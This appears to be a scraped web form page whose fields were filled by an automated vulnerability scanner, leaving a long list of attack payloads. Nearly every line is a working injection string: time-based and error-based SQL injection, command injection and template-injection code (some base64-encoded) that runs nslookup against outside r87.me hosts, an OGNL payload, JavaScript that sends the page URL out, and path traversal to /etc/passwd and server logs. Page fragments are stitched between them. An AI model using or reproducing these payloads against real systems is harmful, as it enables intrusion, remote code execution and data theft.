Link Text
Select page to link to
Optionally jump to a section	# (SELECT COUNT(),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"" style="width:350px" >
Link test/preview -> test

nslookup tykj4de3bu_egk_adrfwv8sudg5w5ddme0oomjc_^tdg.r87.me&'\"`0&nslookup tykj4de3bu_egk_adrfwv8sudg5w5ddme0oomjc_^tdg.r87.me&`'

nslookup tykj4de3bushuosrpdmrcc3eoz8djgvvy3rivefx^wjy.r87.me&'\"`0&nslookup tykj4de3bushuosrpdmrcc3eoz8djgvvy3rivefx^wjy.r87.me&`'

__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgdHlrajRkZTNidWJsX3BoZmZlLW5lbml3d3I0a2ltLWVzeGNvdndxcDdtcS5yODcubWU=')).read()

__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgdHlrajRkZTNidWluamIwOGVpcTFzZWt2b2lmcDhrb3N6YnNhMmhnY3ctay5yODcubWU=')).read()

__import__('os').popen(('expr 268409241 - {0}').format('55826')).read()

__import__('os').popen(('expr 268409241 - {0}').format('58849')).read()

__import__('os').popen(('SET /A 268409241 - {0}').format('4761')).read()

__import__('os').popen(('SET /A 268409241 - {0}').format('60965')).read()

-1 AND 'NS='ss

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 /* 1fccc015-15d3-44d7-a7fd-457a8777fa53 */

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 /* a7e191c8-b18d-4245-91a3-6c87baa70c14 */

-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A)) /* a8ab576e-6801-4853-b3d5-e1ca2b4b2cab */

-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A)) /* cf170485-06c5-480e-954d-2fbcbbf46cc9 */

-1 OR 1=1

-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

-1 OR 17-7=10

-1 OR X='ss

-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+' /* d1483340-e5a8-4dfe-a334-146abdba354b */

-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+' /* f2c706d6-73d7-48d3-a9f5-afb938d634b2 */

-1' OR 1=1 OR '1'='1

-1' OR 1=1 OR 'ns'='ns

-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','tykj4de3bu3hnntn_wq5lzbw7fz31lbjdshxedgo'+'ody.r87.me')exec sp_executesql @r--

-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','tykj4de3busrc8xqgu72pg5cocxdwsthabucbayd'+'ca4.r87.me')exec sp_executesql @r--

-1';exec('xp_dirtree ''\\tykj4de3bua7olp9z9dbesrmkjhapvshej-qrnbj'+'a2i.r87.me'+'\c$\a''')--

-1';exec('xp_dirtree ''\\tykj4de3butbdip82j9yfl9btrmm7lwm28wwtuey'+'7oe.r87.me'+'\c$\a''')--

-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"

Link Text	(SELECT COUNT(),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"" class="index-link-text-field" size="70">
Select page to link to
Optionally jump to a section	#
Link test/preview -> test

Link Text	(SELECT COUNT(),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"" class="index-link-text-field" size="70">
Select page to link to
Optionally jump to a section	#
Link test/preview -> test

-1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+" /* 122b9ed2-5ce9-436d-8dac-183bbc8637d8 */

-1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+" /* e107f659-8b05-4b1f-a8e0-a42475b1c9b7 */

-1" OR 1=1 OR "1"="1

-1" OR 1=1 OR "ns"="ns

-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand(0)*2))x from INFORMATION_SCHEMA.COLLATIONS group by x limit 1))-- 1

-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEM

. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /etc/passwd

. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /windows/win.ini

.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///etc/passwd

.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///windows/win.ini

....//....//....//....//....//....//....//....//....//....//....//etc/passwd

....//....//....//....//....//....//....//....//....//....//....//windows/win.ini

...//...//...//...//...//...//...//...//...//...//...//etc/passwd

...//...//...//...//...//...//...//...//...//...//...//windows/win.ini

../../../../../../../../../../xampp/apache/logs/access.log

' AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1 /* ba68a4d8-099c-4bb5-b3c1-4b4a518234a5 */

' AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1 /* d79e80d5-4365-4c9c-8547-573a56a0db44 */

' WAITFOR DELAY '0:0:25'-- /* 0ed0327d-2ba7-4944-b389-33a11df57718 */

' WAITFOR DELAY '0:0:25'-- /* 609edb43-288a-4189-bb5f-7ea79f50d30b */

';l=document.createElement("link");l.rel="prefetch";l.href="//tykj4de3bu1tudv0o16ovcvm32k0d_xp27p4v-th"+"2wq.r87.me/r/?"+location.href;document.head.appendChild(l);//

';l=document.createElement("link");l.rel="prefetch";l.href="//tykj4de3buexnrkvakvfp8rqtf6ctsyup6deop62"+"6pq.r87.me/r/?"+location.href;document.head.appendChild(l);//

'"-->

') AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1 /* 460f8248-73e7-48da-8851-acb1a6755147 */

') AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1 /* a77dda93-cde9-4f04-bd79-4b693ed1ce66 */

') WAITFOR DELAY '0:0:25'-- /* 1f168d9e-5d3a-48f1-8b12-19451da479f9 */

') WAITFOR DELAY '0:0:25'-- /* cba9a918-5f98-4246-a5fc-9dc9bae71477 */

')) WAITFOR DELAY '0:0:25'-- /* 7c79c895-26f2-4837-a466-e7cc6c02bd6b */

')) WAITFOR DELAY '0:0:25'-- /* b2b8dd65-f12b-4999-b03d-0d4ac4ba876c */

'{${gethostbyname(trim('tykj4de3bumh0uimzpnzr4nn9k9vu0n_vkez4oqy'.'sgm.r87.me'))}}'

'{${gethostbyname(trim('tykj4de3bunybdcw71mg2lmztq4yzuqf4_kudaum'.'wnc.r87.me'))}}'

'{${print(int)0xFFF9999-12302}}'

'{${print(int)0xFFF9999-81379}}'

'& nslookup tykj4de3buivnnhe7rvnyahlw33gw4g6zr4ivcrp^loy.r87.me&'\"`0&nslookup tykj4de3buivnnhe7rvnyahlw33gw4g6zr4ivcrp^loy.r87.me&`'

'& nslookup tykj4de3bukwcwjmxxqptflygjtynia-et9gavbs^e_0.r87.me&'\"`0&nslookup tykj4de3bukwcwjmxxqptflygjtynia-et9gavbs^e_0.r87.me&`'

'& ping -n 25 127.0.0.1 &

'& SET /A 0xFFF9999-15728 &

'& SET /A 0xFFF9999-31104 &

'&nslookup "tykj4de3bug3f-g-qflarne3eulh6dtwzjoj5ni-""kaa.r87.me"

'&nslookup "tykj4de3buslzwmym9bsoo5l70dsupoaojjb_vg2""l7a.r87.me"

'&ping -w 25 127.0.0.1 &'

'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'

'+((SELECT 1 FROM (SELECT SLEEP(25))A))+' /* b808448d-aaf7-4b6f-9ddf-cb9970341220 */

'+((SELECT 1 FROM (SELECT SLEEP(25))A))+' /* e31f7352-a51a-4b94-b167-392243b85c00 */

'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'

'+gethostbyname(lc 'tykj4de3budowy_exw62coy5oq-jpjilpdooooum'.'xfk.r87.me')+'

'+gethostbyname(lc 'tykj4de3bueumohmcb1fodtfvz4ufp6thq3fl-c-'.'cgo.r87.me')+'

'+gethostbyname(trim('tykj4de3bue7ppvjoo06thksb7fxzunwrqi3d4zu'.'ykw.r87.me'))+'

'+gethostbyname(trim('tykj4de3buyowmqifmb0nlx7lxgtfbrhow9rcpmr'.'wz0.r87.me'))+'

'+NSFTW+'

'+print localtime()*0+0xFFF9999-59297+'

'+print(int)0xFFF9999-48249+'

'+print(int)0xFFF9999-53191+'

'||(SELECT dblink_connect('host=tykj4de3burewtqwgutc826jarfy7ilp4g0ullyv'||'frk.r87.me user=a password=a connect_timeout=2'))||'

'||(SELECT dblink_connect('host=tykj4de3buv98tp7svc1jtmmdvqh-bvbmrrkemtu'||'wgk.r87.me user=a password=a connect_timeout=2'))||'

'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'

'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('tykj4de3bu1euh6pspsihikfdfdj4m4xnsas6yp2'||'41c.r87.me') from DUAL))||'

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('tykj4de3buhlxcgzdph6qemstjt3vmigewxy2wei'||'iqi.r87.me') from DUAL))||'

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(116)||chr(121)||chr(107)||chr(106)||chr(52)||chr(100)||chr(101)||chr(51)||chr(98)||chr(117)||chr(104)||chr(121)||chr(98)||chr(119)||chr(110)||chr(109)||chr(98)||chr(109)||chr(99)||chr(108)|

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(116)||chr(121)||chr(107)||chr(106)||chr(52)||chr(100)||chr(101)||chr(51)||chr(98)||chr(117)||chr(52)||chr(118)||chr(101)||chr(104)||chr(100)||chr(107)||chr(50)||chr(108)||chr(115)||chr(122)

'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='

'XOR(if(now()=sysdate(),sleep(25),0))XOR'NS /* 36fb5f16-b038-4bef-90e4-12dd3c7115c9 */

'XOR(if(now()=sysdate(),sleep(25),0))XOR'NS /* 5740deec-f189-4225-b23e-c29ddd7bcbfd */

";l=document.createElement("link");l.rel="prefetch";l.href="//tykj4de3bu7wnd-0zpnuareh63joipr161hvhbys"+"3qg.r87.me/r/?"+location.href;document.head.appendChild(l);//

";l=document.createElement("link");l.rel="prefetch";l.href="//tykj4de3buisbdtpk-uxtqnk8yc0rlsst7lqbmrs"+"dxg.r87.me/r/?"+location.href;document.head.appendChild(l);//

"& nslookup tykj4de3bupegup8jlyxh17afeezyq7457asi3em^cxm.r87.me&'\"`0&nslookup tykj4de3bupegup8jlyxh17afeezyq7457asi3em^cxm.r87.me&`'

"& nslookup tykj4de3buuqhsndh794xdvpx79ox-brlq-glq_t^pck.r87.me&'\"`0&nslookup tykj4de3buuqhsndh794xdvpx79ox-brlq-glq_t^pck.r87.me&`'

"& ping -n 25 127.0.0.1 &

"& SET /A 0xFFF9999-55420 &

"& SET /A 0xFFF9999-77349 &

"&nslookup "tykj4de3bue9-7stqy90qzvf8jf4e02gno3wn-4d""cfk.r87.me"

"&nslookup "tykj4de3buvmxealqaxuzp6slijtluzdbcjkoz_t""ocy.r87.me"

"&ping -w 25 127.0.0.1 &"

"+createobject("WScript.Shell").exec("nslookup tykj4de3budkegrs6nusfl_amb1cot0ujv3hvt2x" & "whg.r87.me").StdOut.ReadAll+"

"+createobject("WScript.Shell").exec("nslookup tykj4de3bufdmet8uxptyviib_g3pn89p3tnk14h" & "vdg.r87.me").StdOut.ReadAll+"

"+gethostbyname(lc 'tykj4de3budpl34zyoup8khzutllg7btcw9vhjx9'.'uco.r87.me')+"

"+gethostbyname(lc 'tykj4de3buwsqskus08luhqc_3sn41pq4oucopcc'.'oqe.r87.me')+"

"+gethostbyname(trim('tykj4de3bucgvzdu8iuz3bwtg9mmdyal3yiwfvho'.'hbq.r87.me'))+"

"+gethostbyname(trim('tykj4de3bumzdtk5msh3u84cniit9gyzjm9sougn'.'5ja.r87.me'))+"

"+print localtime()*0+0xFFF9999-14422+"

"+print localtime()*0+0xFFF9999-62249+"

"+print(int)0xFFF9999-86336+"

"+print(int)0xFFF9999-94248+"

"+response.write(268409241-29844)+"

"+response.write(268409241-99042)+"

(

((select sleep(25)))a-- 1 /* 1f695561-a166-42ec-9f77-63aecee53d29 */

((select sleep(25)))a-- 1 /* 60540ab8-b14a-4451-aff1-2950374dcedc */

((SELECT(1)FROM(SELECT(SLEEP(25)))A)) /* 63b5e7b4-4811-4592-b402-5e498141df70 */

((SELECT(1)FROM(SELECT(SLEEP(25)))A)) /* d20c746d-064b-4af4-b0d2-47263185319b */

(268409241-10329)

(268409241-68840)

(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('tykj4de3butechkjp1jise-aaijnlipold-lpdaa'||'t1o.r87.me') from DUAL))))

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('tykj4de3buzqu5rwenun1nomwn5sv0fbrgb-3ulx'||'ncc.r87.me') from DUAL))))

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(116)||chr(121)||chr(107)||chr(106)||chr(52)||chr(100)||chr(101)||chr(51)||chr(98)||chr(117)||chr(101)||chr(49)||chr(102)||chr(55)||chr(103)||chr(55)||chr(122)||chr(95)||chr(108)||chr(1

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(116)||chr(121)||chr(107)||chr(106)||chr(52)||chr(100)||chr(101)||chr(51)||chr(98)||chr(117)||chr(110)||chr(103)||chr(117)||chr(45)||chr(106)||chr(103)||chr(104)||chr(104)||chr(99)||chr

(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)

(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))

(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)

(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) /* 7b518315-1834-4422-b86e-d52bba67b64e */

(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) /* f38ab328-54f7-46e1-99e8-e412485cd2e3 */

(select UTL_INADDR.GET_HOST_ADDRESS('tykj4de3bufmvkvkv7jem7247ibc6edxp1-qnh2l'||'l1y.r87.me') from DUAL)

(select UTL_INADDR.GET_HOST_ADDRESS('tykj4de3bupy-f3jc7-sox08jwqwliukzb0gwsm3'||'7ni.r87.me') from DUAL)

(select UTL_INADDR.GET_HOST_ADDRESS(chr(116)||chr(121)||chr(107)||chr(106)||chr(52)||chr(100)||chr(101)||chr(51)||chr(98)||chr(117)||chr(101)||chr(109)||chr(107)||chr(50)||chr(55)||chr(49)||chr(116)||chr(119)||chr(107)||chr(110)||chr(104)||chr(54)||chr(10

[

[::1]/elmah

[::1]/elmah.axd

[::1]/trace.axd

[php]print(int)0xFFF9999-22664;[/php]

[php]print(int)0xFFF9999-64938;[/php]

{

{{__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgdHlrajRkZTNidTFraHRueHhkZHh5X3NuZDZhaGlkNGp4eW9nem9tMzh6NC5yODcubWU=')).read()}}

{{__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgdHlrajRkZTNidTJ0OGxkc2FzMHN0ZWh1dTBtYmYtcmZocmw3Y3pva3U3bS5yODcubWU=')).read()}}

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("nslookup tykj4de3buayaw57yzmt6gnv1hjbomb5fctef84p"~"kgu.r87.me")}}

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("nslookup tykj4de3buzss9bnwexxc1ytxvn94yd8jimdw_tu"~"6vc.r87.me")}}

{% set d = "eval(__import__('base64').urlsafe_b64decode('X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdiYXNlNjQnKS51cmxzYWZlX2I2NGRlY29kZSgnYm5Oc2IyOXJkWEFnZEhscmFqUmtaVE5pZFdkamFuaHhiMkZ1YldGc2NURnNaRzl4ZUhjMVpHMDRZM1JpTldwbk9EWjBlUzV5T0RjdWJXVT0nKSkucm

{% set d = "eval(__import__('base64').urlsafe_b64decode('X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdiYXNlNjQnKS51cmxzYWZlX2I2NGRlY29kZSgnYm5Oc2IyOXJkWEFnZEhscmFqUmtaVE5pZFhGZmJHUnhlbU5qZFd0d05tbHdNbTVwWWpWd2IzVm1jSGx3WVhwc2JXY3lPQzV5T0RjdWJXVT0nKSkucm

{php}print(int)0xFFF9999-23751;{/php}

{php}print(int)0xFFF9999-66756;{/php}

{php}Smarty_Resource::parseResourceName(system("nslookup tykj4de3bu1hhvvdh6w5zinuzgbqatmks0bjgp5j"."u3e.r87.me"),'b');{/php}

{php}Smarty_Resource::parseResourceName(system("nslookup tykj4de3buk2p486ayykqnt-yodx0pcpdbwx0y-9"."bd8.r87.me"),'b');{/php}

@(268409241-51429)

@(268409241-78995)

/../../../../../../../../../../../etc/passwd

/../../../../../../../../../../../etc/passwd.html

/../../../../../../../../../../AppServ/Apache24/logs/access.log

/../../../../../../../../../../boot.ini

/../../../../../../../../../../boot.ini.html

/../../../../../../../../../../etc/httpd/logs/access.log

/../../../../../../../../../../etc/httpd/logs/error_log

/../../../../../../../../../../etc/httpd/logs/error.log

/../../../../../../../../../../opt/lampp/logs/access_log

/../../../../../../../../../../proc/self/fd/2

/../../../../../../../../../../proc/self/fd/2.html

/../../../../../../../../../../proc/version

/../../../../../../../../../../proc/version.html

/../../../../../../../../../../var/log/apache/access.log

/../../../../../../../../../../var/log/apache/error.log

/../../../../../../../../../../var/log/apache2/access.log

/../../../../../../../../../../var/log/apache2/error.log

/../../../../../../../../../../var/log/lighttpd/access.log

/../../../../../../../../../../var/log/nginx/access.log

/../../../../../../../../../../WEB-INF/web.xml

/../../../../../../../../../../web.config

/../../../../../../../../../../windows/iis6.log

/../../../../../../../../../../windows/win.ini

/../../../../../../../../../../windows/win.ini.html

//tykj4de3bu97p6cdfvy-7-qpwcmc4xma11dllmxsn8g.r87.me

//tykj4de3bunnub-sw0eaf2acvh3aysbmdvo5aefji2o.r87.me

/etc/passwd

/support/section-index.html

& nslookup tykj4de3bucsddcj93lgxjejxoe05axus-r_bwtp^76i.r87.me&'\"`0&nslookup tykj4de3bucsddcj93lgxjejxoe05axus-r_bwtp^76i.r87.me&`'

& nslookup tykj4de3buwxg3wkieaeqxeyx7dq7cw-eittofbg^7dq.r87.me&'\"`0&nslookup tykj4de3buwxg3wkieaeqxeyx7dq7cw-eittofbg^7dq.r87.me&`'

& ping -n 25 127.0.0.1 &

& SET /A 0xFFF9999-54463 &

&nslookup "tykj4de3bu0xlp0do5n0gvmuzqagx0tttugboxwj""5kk.r87.me"

&ping -w 25 127.0.0.1 &

&thisdoesntexists;

#{28275*28275-(23646)}

#{28275*28275-(38046)}

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlU

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getE

%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("a",268409241-23461)}

%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("a",268409241-51151)}

%27

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini

+createobject("WScript.Shell").exec("nslookup tykj4de3bu-ayisielbk69v8j4tvgqz_yotwycsi" & "x7s.r87.me").StdOut.ReadAll

+createobject("WScript.Shell").exec("nslookup tykj4de3burvz2jnavdhmxszelkqwpt3dpb3z6il" & "3eo.r87.me").StdOut.ReadAll+

+createobject("WScript.Shell").exec("nslookup tykj4de3butkoo1ansaq45wyq8uq8mdbyki0q_ol" & "ili.r87.me").StdOut.ReadAll

+createobject("WScript.Shell").exec("nslookup tykj4de3buynqmagbtqxb5z5spkg9lqk36okfrdu" & "2xe.r87.me").StdOut.ReadAll+

+gethostbyname(trim('tykj4de3bu3d-y9egxlfxvlc5n0e8ckkjdzydgdm'.'g8w.r87.me'));//

+gethostbyname(trim('tykj4de3buikm6rikp3fffcwpzw8epufdc5iequi'.'ma0.r87.me'));//

+print(int)0xFFF9999-19781;//

+print(int)0xFFF9999-80035;//

+response.write(268409241-46263)'

+response.write(268409241-82577)'

%dtd;]>&a;

]>&lfi;

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {eval,$({tr,/+,_-}<<

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("cmd.exe /c nslookup tykj4de3bu3n1fc6qgnb6ezjzeup9vqunkd_wexd"+"phy.r87.me") }

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("cmd.exe /c nslookup tykj4de3buwylh13tl9x9qm0ejq2l1sqc-blibvz"+"zgc.r87.me") }

<#assign x=268409241 - 19011> ${x?string["0"]}

<#assign x=268409241 - 4748> ${x?string["0"]}

<% response.write(268409241-14285) %>

<% response.write(268409241-41147) %>

<%- 268409241-37422 %>

<%- 268409241-42095 %>

<%- global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgdHlrajRkZTNidWt0YWlodjRsbmJreS1xemJ6LWhpaTFlYm10M2dncHhhYy5yODcubWU=','base64').toString()) %>

<%- global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgdHlrajRkZTNidXZwbjBfX19mbHlqdHEwMm5oaHptY3M1amZkZWVxMXA1ZS5yODcubWU=','base64').toString()) %>

<%= "#{(require'base64';%x(#{Base64.urlsafe_decode64('bnNsb29rdXAgdHlrajRkZTNidWFmaXk1MDZ2bnh5MGgzZ3BzNWFzNDlkb3BiNnJtaW96bS5yODcubWU=')})).to_s}" %>

Link Text

Link Text	" class="index-link-text-field" size="70">
Select page to link to
Optionally jump to a section	#
Link test/preview -> test

= global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgdHlrajRkZTNidTFnMXh6dGloYWQ0dHdnc2c2aXU4ZnBjZGdnbWk4bnFieS5yODcubWU=','base64').toString())

= global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgdHlrajRkZTNidWl3c2w4ZHdrY2J4YmdwMy04c2hqbWNjNDdvY2lieGQxcy5yODcubWU=','base64').toString())

=268409241-46037

=268409241-61612

| SET /A 0xFFF9999-85890

| SET /A 0xFFF9999-95770

|expr${IFS}268409241${IFS}-${IFS}17654

|expr${IFS}268409241${IFS}-${IFS}57402

|nslookup${IFS}"tykj4de3buevt_syrzumecq1veqcmrwcf_tckug7""mye.r87.me"

|nslookup${IFS}"tykj4de3bum0jmf7nbo-wfdnrfims16zovtnyr6m""thk.r87.me"

|ping -n 25 127.0.0.1

${28275*28275-(21040)}

${28275*28275-(37239)}

1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/ /* 4158227d-e9af-4356-8cb9-3803a533c3b5 */

1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/ /* efb8a2e7-caec-4255-b052-80c449bc7523 */

1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1 /* 27a53a1d-b2ba-4b58-b1be-d39b108b721b */

1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1

1 WAITFOR DELAY '0:0:25'-- /* cc6a0f92-21b9-4316-bd10-3549755f8740 */

1 WAITFOR DELAY '0:0:25'-- /* f989578e-b96f-49a8-aa82-9b1bf8e0d142 */

1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','tykj4de3budpykcfxizcdr18fxhkatnmf2ywspkx'+'wzk.r87.me')exec sp_executesql @r--

1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','tykj4de3buepg736wchu8dgibewifxmxmp_irxj7'+'xvs.r87.me')exec sp_executesql @r--

1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 311dba17-2b23-4862-94f7-42a6224540d2 */

1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* cde54cf4-f799-4a12-9599-cb4fced55736 */

1;exec('xp_dirtree ''\\tykj4de3bu-w0el4r5qaayuxagjyq4zn8ap_47jt'+'pa8.r87.me'+'\c$\a''')--

1;exec('xp_dirtree ''\\tykj4de3buljlqsc-cvyvnqhmvro42omq7figbol'+'kha.r87.me'+'\c$\a''')--

1;expr 268409241 - 57436;x

1;expr 268409241 - 57718;x

